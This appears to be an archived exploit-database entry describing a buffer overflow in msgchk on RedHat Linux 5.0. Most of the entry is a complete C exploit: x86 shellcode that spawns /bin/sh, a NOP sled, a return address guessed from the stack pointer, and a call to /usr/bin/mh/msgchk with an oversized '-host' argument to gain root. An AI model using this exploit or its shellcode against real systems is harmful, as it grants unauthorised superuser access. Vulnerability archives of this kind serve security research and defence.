RedHat Linux 5.0 msgchk Vulnerability

source: http://www.securityfocus.com/bid/383/info Similar to the mh vulnerability, a buffer overflow exists in the version of msgchk shipped with RedHat Linux 5.0. The vulnerability allows a user to execute arbritrary commands as root to compromise superuser access. #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 1018 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; char *args[5]; char jorge[]=""; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) { buff[i]=addr & 0xFF; buff[i+1]=(addr >> 8) & 0xFF; buff[i+2]=(addr >> 16) & 0xFF; buff[i+3]=(addr >> 24) & 0xFF; } *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; args[0]="/usr/bin/mh/msgchk"; args[1]="-host"; args[2]=buff; args[3]=NULL; execve(args[0],args,NULL); }